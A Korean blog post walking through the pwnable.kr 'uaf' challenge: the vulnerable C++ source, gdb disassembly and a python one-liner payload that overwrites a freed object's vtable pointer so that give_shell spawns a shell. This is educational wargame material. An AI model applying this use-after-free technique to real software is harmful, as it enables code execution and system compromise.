본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] uaf

by L3m0n S0ju 2021. 7. 30.


#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

 


이번 문제는 전형적인 uaf(use after free) 문제입니다. case 1은 데이터 출력, case 2는 데이터 생성, case 3은 데이터 삭제입니다. case 3를 실행하면 m, w 인스턴트가 사라지고 case 1에서는 데이터가 출력되지않습니다. case 2를 통해 data라는 변수에 데이터를 삽입할 수 있는데 data 변수의 위치는 실험을 해본 결과 매번 바뀝니다.

 

시나리오는 case 3: 으로 메모리를 free로 반환하고 case 2:로 메모리를 할당할때 give_shell 함수의 주소값을 어딘가에 덮어씌워 쉘을 획득할 것 입니다.

 

gdb로 분석을 할 때 글자가 깨진다면 set print asm-demangle on을 입력하면 됩니다. 그리고 argv 인자는 gdb에서 run 뒤에 입력하면 됩니다. gdb로 파일을 실행하면 도중 문제점이 발생합니다. 반환 -> 할당 -> 출력과 같은 순서로 진행하면 Segmentation fault가 일어납니다. 디버깅을 하면 반환 -> 할당 -> 출력 중 출력 부분에서 아래 그림과 같이 0x400fd8에서 레지스터 rax가 가르키는 값은 이후 rdx에 저장되고 call rdx가 실행되므로 rax에 저장된 주소는 어떤 함수의 시작 주소이다. 하지만 400fd8에서 브레이크 포인터를 걸고 레지스터 값을 보면 rax에는 8이 들어있다. 8은 주소값이 아니므로 당연히 Segmentation fault가 일어나게 된다. 

 

   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:   add    rax,0x8
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:   mov    rdi,rax
   0x0000000000400fe2 <+286>:   call   rdx


 

그래서 조금 다른 방법을 이용해야하는데 반환 -> 할당 -> 할당 -> 출력과 같이 할당을 두번 반복하면 Segmentation fault는 일어나지 않는다. 여러가지 시도 끝에 알게되었다.

 

반환 -> 할당 -> 할당 -> 출력 순서로 gdb 분석을 시작하겠다. case 2:에서 오픈할 파일을 만들어준다. 필자는 /tmp/test01/hello라는 폴더에 aaaabbbbccccdddd라는 내용을 작성하였다. 그리고 8바이트를 읽어들이면 64비트에서는 힙 단위는 16바이트이므로 16바이트 크기의 공간을 얻을 수 있다. gdb에 아래와 같이 r 8 /tmp/test01/hello를 실행한다. 브레이크 포인트는 0x0000000000400fcd, 0x000000000040105 두 지점만 잡았다. 

 


메모리 반환을 하고 첫번째 할당 브레이크 포인트이다. rsi는 두 번째 인자를 의미하므로 read 함수에서 rsi는 data의 주소이다. data는 0xb41ca0를 가르킨다.

 

   0x0000000000401046 <+386>:   mov    rdx,QWORD PTR [rbp-0x28]
   0x000000000040104a <+390>:   mov    rcx,QWORD PTR [rbp-0x20]
   0x000000000040104e <+394>:   mov    rsi,rcx
   0x0000000000401051 <+397>:   mov    edi,eax
   0x0000000000401053 <+399>:   call   0x400ca0 <read@plt>


data 위치 0xb41ca0을 확인하면 안에는 0x00b41c40이라는 값이 들어있다. 그리고 read 함수가 끝난 후 다시 확인하면 0x61616161이라는 값이 들어있다. 61616161은 aaaa를 의미한다.


continue를 하고 한번 더 할당을 해준다. 이유는 할당을 한번만 하면 이후 segmentation fault가 발생하여 프로그램이 종료된다. 아마 원래 있던 힙 메모리 크기와 새로 할당된 힙 메모리 크기 차이 때문에 그런듯하다. rsi를 다시 확인하면 0xb41c50이라는 값으로 바뀌었다.


첫번째 할당과 마찬가지로 처음에는 data 주소에 0x00000000 값이 read 함수가 끝나고 0x61616161로 바뀌는 것을 확인할 수 있다.


continue를 하고 마지막으로 출력을 시도한다. rbp-0x38이 가르키는 값을 확인하면 0x00b41c50을 가르킨다. 0x00b41c50에는 우리가 입력한 값 61616161이 들어있다. 그리고 61616161에 0x08을 더하여 rax는 61616169를 가르키고 call rdx가 실행되면 call 0x6262626261616169가 가르키는 함수를 실행하는데 여기에 give_shell 함수 주소값에서 8을 뺀 값을 넣으면 플래그를 획득할 수 있을 것 같다.

 

   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:   add    rax,0x8
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:   mov    rdi,rax
   0x0000000000400fe2 <+286>:   call   rdx


give_shell 주소는 gdb를 실행하고 info func 명령어를 입력하면 쉽게 찾을 수 있다. gdb로 디버깅 도중에 info func를 입력하면 함수가 너무 많이 출력되므로 gdb를 실행하고 바로 info func 명령어를 입력합니다. give_shell 함수 주소값은 쉽게 찾을 수 있지만 문제가 있습니다. 아래 어셈블리어를 요약하면 rdx=*(**(rbp-0x38)+8)라고 할 수 있습니다. *(rbp-0x38)은 0x00b41c50이고 *(0x00b41c50)은 우리 입력값이므로 다시 요약하면 rdx=*(입력값 + 8) 으로 입력값 + 8이 가르키는 값이 give_shell 함수 주소가 되도록 해야합니다.

 

   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38] 
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax] 
   0x0000000000400fd4 <+272>:   add    rax,0x8 
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax] 
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38] 
   0x0000000000400fdf <+283>:   mov    rdi,rax 
   0x0000000000400fe2 <+286>:   call   rdx 


 give_shell 함수를 가르키는 값은 0x400fd4에서 rax+0x08을 하기 전에 rax 값 0x401570을 보면 give_shell 함수 주소 0x40117a를 가르킨다. 따라서 입력값으로 0x401570 - 0x08 = 0x401568을 입력하면된다.

 


 

python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/test01/hello2 으로 불러올 파일을 만들어줍니다. 그리고 순서대로 실행하면 플래그를 획득할 수 있습니다.

 

플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2021.08.01
[Pwnable.kr] memcpy  (0) 2021.07.31
[Pwnable.kr] blukat  (0) 2021.07.29
[Pwnable.kr] cmd2  (0) 2021.07.29
[Pwnable.kr] lotto  (0) 2021.07.28

댓글